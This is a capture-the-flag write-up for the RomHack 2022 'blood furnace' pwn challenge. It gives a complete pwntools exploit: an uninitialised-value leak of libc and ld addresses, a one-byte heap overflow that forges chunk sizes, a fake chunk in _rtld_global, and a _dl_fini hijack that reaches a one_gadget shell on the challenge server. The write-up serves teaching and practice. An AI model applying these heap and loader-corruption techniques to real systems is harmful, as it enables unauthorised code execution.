RomHack 2022 CTF - blood furnace

Attachment: pwn_blood_furnace.zip xpl.py

== Available Actions ==

  1. Enter the Dungeon.

  2. Edit your character.

  3. Run Away.


  Option [1-3]:

This challenge was a small mini rpg. When starting it, you can set a name, guild and background story and select a weapon.

For the game itself, you’ll have the choice to enter a dungeon, which will let you “fight” different monsters or to edit your character information (though, this info will never be shown).

Let’s start with getting some leaks first.

void get_drop(int drop_idx)
{
  long price2; 
  long price1; 
  char input[72]; 
  
  memset(input, 0, 3);
  fgets(input, 3, stdin);

  if ( input[0] == 'y' )
  {
    fprintf(stdout, "\x1B[1;37m\n  %s", "At what price? ");
    __isoc99_scanf("%ld", &price1);
    getchar();
    fprintf(stdout, "\x1B[1;37m\n  You sold a %s for %ld coins.\n", drops[a1], price1);
  }

  puts("\n\x1B[1;33m  A legendary sword is dropped!\n");
  fprintf(stdout, "\x1B[1;31m\n  %s\n", "[!] Your Inventory is full!");
  fprintf(stdout, "\x1B[1;37m\n  %s", "Do you want to quick sell? [y/n] ");
  memset(input, 0, 3);
  fgets(input, 3, stdin);

  if ( input[0] == 'y' )
  {
    fprintf(stdout, "\x1B[1;37m\n  %s", "At what price? ");
    __isoc99_scanf("%ld", &price2);
    getchar();
    fprintf(stdout, "\x1B[1;37m\n  You sold a legendary sword for %ld coins.\n", price2);
  }  
}

Winning against a monster will give you a random drop and lets you specify a price to sell it. Using + as price in scanf will result in using the current value at that address (which is not initialized).

price1 will point to a libc address and price2 will point to _rtld_global in ld, so we can leak both of them.

So let’s fight monsters until we win, sell our loot and fetch those leaks.

def init(name, guild, story):
    r.sendlineafter(": ", name)
    r.sendlineafter(": ", guild)
    r.sendlineafter(": ", story)
    r.sendlineafter(": ", "1")

def get_leak():
    r.sendline("1")
    r.recvuntil("]: ")

    # fight until we win and sell loot
    while True:
        r.sendline("1")
        r.recvline()
        TEST = r.recvline()
        print("T: "+TEST)
        if "fatal attack" in TEST:
            r.sendlineafter("[y/n] ", "y")
            r.sendlineafter("price? ", "+")
            r.recvuntil("for ")
            LEAK = int(r.recvuntil(" coins", drop=True))
            r.sendlineafter("[y/n] ", "y")
            r.sendlineafter("price? ", "+")
            r.recvuntil("for ")
            LEAK2 = int(r.recvuntil(" coins", drop=True))

            return LEAK, LEAK2
        else:
            r.recvuntil("]: ")

def exploit(r):
    # create initial chunks
    init ("A"*(0x20-8-1), "B"*(0x110-8-1), "C"*(0x110-8-1))

    r.recvuntil("]: ")

    # leak libc and ld from drops
    LIBCLEAK, LDLEAK = get_leak()
    r.recvuntil("]: ")

    log.info("LIBC LEAK  : %s" % hex(LIBCLEAK))
    log.info("LD LEAK    : %s" % hex(LDLEAK))

    libc.address = LIBCLEAK - 0x8cf43

    log.info("LIBC       : %s" % hex(libc.address))
$ python xpl.py 
[*] '/home/kileak/ctf/rom/bloodfurnace/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process './blood_furnace': pid 19418
[19418]
[*] Paused (press any to continue)
T:   The enemy counter attacked you!, Ouch!

T:   You delivered a fatal attack to the enemy!

[*] LIBC LEAK  : 0x7ffff7e1ff43
[*] LD LEAK    : 0x7ffff7ffd040
[*] LIBC       : 0x7ffff7d93000

With those leaks at hand, let’s see, if we can do some memory corruption to bring them to good use.

unsigned char edit_name()
{
  void **v0; 
  size_t len_name; 
  size_t len_original; 
  char *s; 

  if ( (unsigned __int8)countNameRenames > 1 )
  {
    fprintf(stdout, "\x1B[1;31m\n  %s\n", "[!] A man with many faces!");
    exit(-1);
  }

  fprintf(stdout, "\x1B[1;37m\n  %s", "Character Name: ");
  read_input();

  len_name = strlen(input_buffer);
  len_original = strlen(gCharacter->Name) + 1;     // 1 byte oob

  if ( len_name <= len_original )   
  {
    s = *(char **)gCharacter;
    memset(*(void **)gCharacter, 0, len_original);
  }
  else
  {
    free(*(void **)gCharacter);
    v0 = (void **)gCharacter;
    *v0 = malloc(len_name + 1);
    s = (char *)*v0;
    memset(*v0, 0, len_name);
  }

  strncpy(s, input_buffer, len_name);

  return countNameRenames++ + 1;
}

When changing the player name, the function will check, if it has to reallocate the name chunk by comparing the length of the new name to the length of the original name (but it does a +1 here). If the length of the new name is <= length of original name (+1), it will just reuse the chunk and copy the new name into it.

This allows us to enlarge the current name by one character without reallocating the chunk.

Choosing the initial name accordingly, we can first create for example a 0x20 chunk for name, which will contain a null byte at the end. We then do a 1 byte overwrite to completely fill it and align the name to the chunk size of the next chunk (which is the chunk for the guild name).

Changing the name again, strlen will now include the next chunk size, allowing us to also overwrite it.

Initial name ("A"*(0x20-8-1))

0x55555555b6a0:	0x0000000000000000	0x0000000000000021
0x55555555b6b0:	0x4141414141414141	0x4141414141414141 <= name
0x55555555b6c0:	0x0041414141414141	0x0000000000000111 <= guild chunk size
0x55555555b6d0:	0x4242424242424242	0x4242424242424242 <= guild
0x55555555b6e0:	0x4242424242424242	0x4242424242424242
0x55555555b6f0:	0x4242424242424242	0x4242424242424242
0x55555555b700:	0x4242424242424242	0x4242424242424242
0x55555555b710:	0x4242424242424242	0x4242424242424242
0x55555555b720:	0x4242424242424242	0x4242424242424242
0x55555555b730:	0x4242424242424242	0x4242424242424242
0x55555555b740:	0x4242424242424242	0x4242424242424242
0x55555555b750:	0x4242424242424242	0x4242424242424242
0x55555555b760:	0x4242424242424242	0x4242424242424242

Changed name ("A"*(0x20-8)), now aligned to next chunk size

0x55555555b6a0:	0x0000000000000000	0x0000000000000021
0x55555555b6b0:	0x4141414141414141	0x4141414141414141 <= name
0x55555555b6c0:	0x4141414141414141	0x0000000000000111 <= guild chunk size
0x55555555b6d0:	0x4242424242424242	0x4242424242424242 <= guild
0x55555555b6e0:	0x4242424242424242	0x4242424242424242
0x55555555b6f0:	0x4242424242424242	0x4242424242424242
0x55555555b700:	0x4242424242424242	0x4242424242424242
0x55555555b710:	0x4242424242424242	0x4242424242424242
0x55555555b720:	0x4242424242424242	0x4242424242424242

Changed name again to overwrite followup chunk size

0x55555555b6a0:	0x0000000000000000	0x0000000000000021
0x55555555b6b0:	0x4141414141414141	0x4141414141414141 <= name
0x55555555b6c0:	0x4141414141414141	0x0000000000000251 <= guild chunk size (overwritten)
0x55555555b6d0:	0x4242424242424242	0x4242424242424242 <= guild
0x55555555b6e0:	0x4242424242424242	0x4242424242424242
0x55555555b6f0:	0x4242424242424242	0x4242424242424242
0x55555555b700:	0x4242424242424242	0x4242424242424242
0x55555555b710:	0x4242424242424242	0x4242424242424242
...
0x55555555b880:	0x4343434343434343	0x4343434343434343
0x55555555b890:	0x4343434343434343	0x4343434343434343
0x55555555b8a0:	0x4343434343434343	0x4343434343434343
0x55555555b8b0:	0x4343434343434343	0x4343434343434343
0x55555555b8c0:	0x4343434343434343	0x4343434343434343
0x55555555b8d0:	0x4343434343434343	0x4343434343434343
0x55555555b8e0:	0x0043434343434343	0x0000000000000031
0x55555555b8f0:	0x000055555555b6b0	0x0000000100000063 <= name ptr / hp
0x55555555b900:	0x000055555555b6d0	0x000055555555b7e0 <= guild ptr / story ptr
0x55555555b910:	0x0000000000000000	0x00000000000206f1

If we now try to change our guild, it’ll first free the guild chunk, which now has a size of 0x250. So it will create a a freed chunk, which overlaps the story chunk and our player chunk at 0x55555555b8f0.

Renaming our guild now with a name with an appropriate size, we can also overwrite the pointers in our player class.

def setname(name):
    r.sendline("2")
    r.recvuntil("]: ")
    r.sendline("1")
    
    r.sendline(name)
    r.recvuntil("]: ")

def setguild(name):
    r.sendline("2")
    r.recvuntil("]: ")
    r.sendline("2")
    r.sendlineafter(": ", name)
    r.recvuntil("]: ")

def exploit(r):
    ...

    # go into edit menu
    r.sendline("2")
    r.recvuntil("]: ")

    # change name to make it 1 byte longer  
    setname("A"*(0x20-8))

    # change name again (now it can also overwrite next chunk size)
    setname("A"*(0x20-8)+p16(0x251))        # overwrite guild size )

    # reallocate guild and overwrite character info
    payload = "A"*(16*0x10)
    payload += "BBBBBBBB" + p64(0x111)
    payload += "B"*(16*0x10)
    payload += "CCCCCCCC" + p64(0x31)
    payload += p64(0xdeadbeef) + p64(0xcafebabe)
    payload += p64(0xfacebabe) + p64(0xfaceface)
    
    setguild(payload)
0x55555555b4a0:	0x4242424242424242	0x4242424242424242
0x55555555b4b0:	0x4343434343434343	0x0000000000000031
0x55555555b4c0:	0x00000000deadbeef	0x00000000cafebabe <= name ptr / hp
0x55555555b4d0:	0x00000000facebabe	0x00000000faceface <= guild ptr / story ptr
0x55555555b4e0:	0x0000000000000000	0x0000000000000000
0x55555555b4f0:	0x0000000000000000	0x0000000000000000

Now we have control over all pointers in our player class, but there’s no real “edit” functionality for those. The only thing we can do with those pointers is to free and reallocate them with the edit character menu.

Thus, it’s time to find some memory regions, which will “look” like a valid chunk and can be freed.

Since I was already wondering, why we were given a leak to ld, I checked the bss section of ld and found this beauty :)

0x7ffff7ffdad0 <_rtld_global+2704>:	0x0000000000000000	0x0000000000000071 <= yummy fastbin size
0x7ffff7ffdae0 <_rtld_global+2720>:	0x0000000000000003	0x00007ffff7fb42c0
0x7ffff7ffdaf0 <_rtld_global+2736>:	0x00007ffff7fc3000	0x00007fffffffdfc2
0x7ffff7ffdb00 <_rtld_global+2752>:	0x00007ffff7ffce80	0x0000000000000000
0x7ffff7ffdb10 <_rtld_global+2768>:	0x00007ffff7fb4330	0x00007ffff7ffdaf0
0x7ffff7ffdb20 <_rtld_global+2784>:	0x0000000000000000	0x00007ffff7ffe280
0x7ffff7ffdb30 <_rtld_global+2800>:	0x0000000000000000	0x0000000000000000
0x7ffff7ffdb40 <_rtld_global+2816>:	0x00007ffff7ffcf00	0x00007ffff7ffcef0
0x7ffff7ffdb50 <_rtld_global+2832>:	0x00007ffff7ffce90	0x00007ffff7ffceb0
0x7ffff7ffdb60 <_rtld_global+2848>:	0x00007ffff7ffcec0	0x00007ffff7ffcf30
0x7ffff7ffdb70 <_rtld_global+2864>:	0x00007ffff7ffcf40	0x00007ffff7ffcf50
0x7ffff7ffdb80 <_rtld_global+2880>:	0x00007ffff7ffced0	0x00007ffff7ffcee0

This we can easily free and reallocate, so let’s first write some junk there, to see, if it will have any effect on execution.

# reallocate guild and overwrite character info
payload = "A"*(16*0x10)
payload += "BBBBBBBB" + p64(0x111)
payload += "B"*(16*0x10)
payload += "CCCCCCCC" + p64(0x31)
payload += p64(0xdeadbeef) + p64(0xcafebabe)
payload += p64(LDLEAK+0xaa0) + p64(LDLEAK+0xaa0)		# point guild to ld rtld_global
	
setguild(payload)

# write guild in rtld_global
payload = cyclic_metasploit(0x70-8-1)

setguild(payload)

Exiting after the last guild overwrite, we’ll crash in _dl_fini

$rax   : 0x3562413462413362 ("b3Ab4Ab5"?)
$rbx   : 0x00007ffff7ffd040  →  0x00007ffff7ffe2f0  →  0x00007ffff7fb6000  →  0x00010102464c457f
$rcx   : 0x0               
$rdx   : 0x2               
$rsp   : 0x00007fffffffd9d0  →  0x00007ffff7ffe2f0  →  0x00007ffff7fb6000  →  0x00010102464c457f
$rbp   : 0x00007fffffffda50  →  0x0000000000000000
$rsi   : 0x3               
$rdi   : 0x0               
$rip   : 0x00007ffff7fc9151  →  <_dl_fini+273> cmp QWORD PTR [rax+0x28], rax
$r8    : 0x1999999999999999
$r9    : 0x0               
$r10   : 0x00007ffff7f4aac0  →  0x0000000100000000
$r11   : 0x00007ffff7f4b3c0  →  0x0002000200020002
$r12   : 0x0               
$r13   : 0x00007ffff7ffda48  →  0x0000000100000001
$r14   : 0x00007fffffffd9d0  →  0x00007ffff7ffe2f0  →  0x00007ffff7fb6000  →  0x00010102464c457f
$r15   : 0x4               
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
───────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x7ffff7fc9148 <_dl_fini+264>   mov    rax, QWORD PTR [rax+0x18]
   0x7ffff7fc914c <_dl_fini+268>   test   rax, rax
   0x7ffff7fc914f <_dl_fini+271>   je     0x7ffff7fc917f <_dl_fini+319>
 → 0x7ffff7fc9151 <_dl_fini+273>   cmp    QWORD PTR [rax+0x28], rax
   0x7ffff7fc9155 <_dl_fini+277>   jne    0x7ffff7fc9148 <_dl_fini+264>
   0x7ffff7fc9157 <_dl_fini+279>   cmp    r15d, esi
   0x7ffff7fc915a <_dl_fini+282>   jbe    0x7ffff7fc937e <_dl_fini+830>
   0x7ffff7fc9160 <_dl_fini+288>   mov    edx, esi
   0x7ffff7fc9162 <_dl_fini+290>   mov    QWORD PTR [r14+rdx*8], rax
────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffd9d0│+0x0000: 0x00007ffff7ffe2f0  →  0x00007ffff7fb6000  →  0x00010102464c457f	 ← $rsp, $r14
0x00007fffffffd9d8│+0x0008: 0x00007ffff7ffe930  →  0x00007ffff7fc1000  →  0x00010102464c457f
0x00007fffffffd9e0│+0x0010: 0x00007ffff7fb4330  →  0x00007ffff7d8c000  →  0x03010102464c457f
0x00007fffffffd9e8│+0x0018: 0x00007ffff7fc90e6  →  <_dl_fini+166> mov eax, r15d
0x00007fffffffd9f0│+0x0020: 0x0000000000000003
0x00007fffffffd9f8│+0x0028: 0x00007fffffffd9f0  →  0x0000000000000003

We control rax and it’ll check, if rax+0x28 equals rax. We can easily fulfill this check, since we control the complete chunk in rtld_global.

# reallocate guild again (now overwriting entry in rtld_global)
payload = ""
payload += p64(0xdead0000)+p64(0xdeadbee6)		
payload += p64(0xdeadbee7)+p64(0)
payload += p64(0xdeadbee9)+p64(LEAK2+0xaa0)    # pointer to start of rtld entry to pass check
payload += p64(0xdeadbee3)+p64(0xdedbeea)
payload += p64(0xdeadbee4)+p64(0xdeadbeeb)
payload += p64(0xdeadbee5)+p64(0xdeadbee6)
payload += p64(0xdeadbeef)[:6]
		
setguild(payload)

Running it again and exiting, we will pass the cmp and continue to

$rax   : 0x00007ffff7ffcee0  →  0x000000000000000b ("
                                                     "?)
$rbx   : 0x00007ffff7ffd040  →  0x00007ffff7ffe2f0  →  0x00007ffff7fb6000  →  0x00010102464c457f
$rcx   : 0x0               
$rdx   : 0x00007ffff7fbad20  →  0x00007ffff7fb7380  →  0x3d4d3d80fa1e0ff3
$rsp   : 0x00007fffffffd9d0  →  0x00007ffff7ffe2f0  →  0x00007ffff7fb6000  →  0x00010102464c457f
$rbp   : 0x00007fffffffda50  →  0x0000000000000000
$rsi   : 0x0               
$rdi   : 0x00007ffff7fb4330  →  0x00007ffff7d8c000  →  0x03010102464c457f
$rip   : 0x00007ffff7fc926b  →  <_dl_fini+555> mov rax, QWORD PTR [rax+0x8]
$r8    : 0x00007fffffffd9d0  →  0x00007ffff7ffe2f0  →  0x00007ffff7fb6000  →  0x00010102464c457f
$r9    : 0x20              
$r10   : 0x0               
$r11   : 0x00007fffffffd900  →  0x00007ffff7ffe2f0  →  0x00007ffff7fb6000  →  0x00010102464c457f
$r12   : 0x0               
$r13   : 0x00007ffff7ffda48  →  0x0000000000000000
$r14   : 0x00007fffffffd9e8  →  0x00007ffff7ffdae0  →  0x00000000dead0000
$r15   : 0x00007ffff7ffdae0  →  0x00000000dead0000
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
─────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x7ffff7fc925f <_dl_fini+543>   mov    rax, QWORD PTR [r15+0xa8]
   0x7ffff7fc9266 <_dl_fini+550>   test   rax, rax
   0x7ffff7fc9269 <_dl_fini+553>   je     0x7ffff7fc9274 <_dl_fini+564>
 → 0x7ffff7fc926b <_dl_fini+555>   mov    rax, QWORD PTR [rax+0x8]
   0x7ffff7fc926f <_dl_fini+559>   add    rax, QWORD PTR [r15]
   0x7ffff7fc9272 <_dl_fini+562>   call   rax
   0x7ffff7fc9274 <_dl_fini+564>   mov    rdi, r15
   0x7ffff7fc9277 <_dl_fini+567>   call   0x7ffff7fde590 <_dl_audit_objclose>
   0x7ffff7fc927c <_dl_fini+572>   sub    DWORD PTR [r15+0x318], 0x1
───────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffd9d0│+0x0000: 0x00007ffff7ffe2f0  →  0x00007ffff7fb6000  →  0x00010102464c457f	 ← $rsp, $r8
0x00007fffffffd9d8│+0x0008: 0x00007ffff7ffe930  →  0x00007ffff7fc1000  →  0x00010102464c457f
0x00007fffffffd9e0│+0x0010: 0x00007ffff7fb4330  →  0x00007ffff7d8c000  →  0x03010102464c457f
0x00007fffffffd9e8│+0x0018: 0x00007ffff7ffdae0  →  0x00000000dead0000	 ← $r14
0x00007fffffffd9f0│+0x0020: 0x0000000000000003
0x00007fffffffd9f8│+0x0028: 0x00007fffffffd9f0  →  0x0000000000000003

gef➤  x/gx $rax+0x8
0x7ffff7ffcee8:	0x0000000000000018

This will take the value at r15, which points to the first value in our fake chunk, adds 0x18 (from $rax+0x8) to it and then calls it :)

$rax   : 0xdead0018        
$rbx   : 0x00007ffff7ffd040  →  0x00007ffff7ffe2f0  →  0x00007ffff7fb6000  →  0x00010102464c457f
$rcx   : 0x0               
$rdx   : 0x00007ffff7fbad20  →  0x00007ffff7fb7380  →  0x3d4d3d80fa1e0ff3
$rsp   : 0x00007fffffffd9c8  →  0x00007ffff7fc9274  →  <_dl_fini+564> mov rdi, r15
$rbp   : 0x00007fffffffda50  →  0x0000000000000000
$rsi   : 0x0               
$rdi   : 0x00007ffff7fb4330  →  0x00007ffff7d8c000  →  0x03010102464c457f
$rip   : 0xdead0018        
$r8    : 0x00007fffffffd9d0  →  0x00007ffff7ffe2f0  →  0x00007ffff7fb6000  →  0x00010102464c457f
$r9    : 0x20              
$r10   : 0x0               
$r11   : 0x00007fffffffd900  →  0x00007ffff7ffe2f0  →  0x00007ffff7fb6000  →  0x00010102464c457f
$r12   : 0x0               
$r13   : 0x00007ffff7ffda48  →  0x0000000000000000
$r14   : 0x00007fffffffd9e8  →  0x00007ffff7ffdae0  →  0x00000000dead0000
$r15   : 0x00007ffff7ffdae0  →  0x00000000dead0000
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
───────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
[!] Cannot disassemble from $PC
─────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffd9c8│+0x0000: 0x00007ffff7fc9274  →  <_dl_fini+564> mov rdi, r15	 ← $rsp
0x00007fffffffd9d0│+0x0008: 0x00007ffff7ffe2f0  →  0x00007ffff7fb6000  →  0x00010102464c457f	 ← $r8
0x00007fffffffd9d8│+0x0010: 0x00007ffff7ffe930  →  0x00007ffff7fc1000  →  0x00010102464c457f
0x00007fffffffd9e0│+0x0018: 0x00007ffff7fb4330  →  0x00007ffff7d8c000  →  0x03010102464c457f
0x00007fffffffd9e8│+0x0020: 0x00007ffff7ffdae0  →  0x00000000dead0000	 ← $r14
0x00007fffffffd9f0│+0x0028: 0x0000000000000003
[!] Cannot access memory at address 0xdead0018

So, we got rip control and what’s even better, this fulfills all constraints for the following one_gadget

0xebcf1 execve("/bin/sh", r10, [rbp-0x70])
constraints:
  address rbp-0x78 is writable
  [r10] == NULL || r10 == NULL
  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL

All there’s left, is to put the address of our one_gadget (-0x18) at the start of our chunk and give it a go.

# reallocate guild again (now overwriting entry in rtld_global)	
payload = ""
payload += p64(libc.address+0xebcf1-0x18)+p64(0xdeadbee6)		
payload += p64(0xdeadbee7)+p64(0)
payload += p64(0xdeadbee9)+p64(LEAK2+0xaa0)    #  pointer to start of rtld entry to pass check
payload += p64(0xdeadbee3)+p64(0xdedbeea)
payload += p64(0xdeadbee4)+p64(0xdeadbeeb)
payload += p64(0xdeadbee5)+p64(0xdeadbee6)
payload += p64(0xdeadbeef)[:6]
		
setguild(payload)

# exit to trigger one_gadget
r.sendline("3")
kileak@beast:~/ctf/rom/bloodfurnace$ python xpl.py 1
[*] '/home/kileak/ctf/rom/bloodfurnace/t/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 104.248.162.85 on port 31273: Done
T:   The enemy counter attacked you!, Ouch!

T:   The enemy counter attacked you!, Ouch!

T:   The enemy counter attacked you!, Ouch!

T:   You delivered a fatal attack to the enemy!

[*] LEAK      : 0x7fbce482ef43
[*] LEAK LD   : 0x7fbce4a0c040
[*] LIBC      : 0x7fbce47a2000
[*] Switching to interactive mode
$ ls
blood_furnace
flag.txt
ld.so.2
libc.so.6
$ cat flag.txt
HTB{Bl00d_furnance_l1nck3r_c0rrupt1on}